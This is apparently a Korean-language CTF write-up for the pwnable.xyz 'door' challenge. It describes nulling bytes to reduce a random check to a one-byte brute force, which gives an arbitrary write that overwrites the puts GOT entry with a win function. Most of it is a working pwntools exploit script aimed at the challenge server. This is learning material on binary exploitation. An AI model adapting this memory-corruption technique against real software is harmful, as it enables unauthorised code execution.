pwn/pwnable.xyz

pwnable.xyz / door

lok2h4rd 2022. 5. 27. 04:52

mitigation

 

랜덤 하게 생성된 값을 맞추면 aaw가 가능하다

잠을 못자 판단이 흐려져서 그런지 머리에 계속 4byte brute force만 떠올랐다

enter the door에서 원하는 주소 4byte를 0으로 만드는 것이 가능하다 put + 4를 먼저 null로 만들고

랜덤 한 값이 저장된 bss + 1 주소를 널로 만들어 1byte만 brute force 하도록 만들었다

이후에 aaw는 puts got주소에 win함수를 넣었다

 

from pwn import * 
#context.log_level = "debug"

p = remote("svc.pwnable.xyz", 30039)
#p = process("./door")

def brute():
    for i in range(0x100):
        p.recvuntil(b"> ")
        p.sendline(b"2")
        p.recvuntil(b"Realm: ")
        p.send(str(i))
        p.recvuntil(b"> ")
        p.sendline(b"1")

        byte = p.recv(1)
        print(f"{i}: {byte}")
        if byte == b"D":
            break
    
    return i

def set_null(addr):
    p.recvuntil(b"> ")
    p.sendline(b"2")
    p.recvuntil(b"Realm: ")
    p.send(str(addr))
    p.recvuntil(b"> ")
    p.sendline(b"3")


door = 0x601244
win = 0x400969
puts = 0x601018

set_null(puts + 4)
set_null(door + 1)

byte = brute()

p.recvuntil(b"oor: ")
p.send(str(win))
p.recvuntil(b"Realm: ")
p.send(str(puts))

p.recvuntil(b"> ")
p.sendline(b"0")

p.interactive()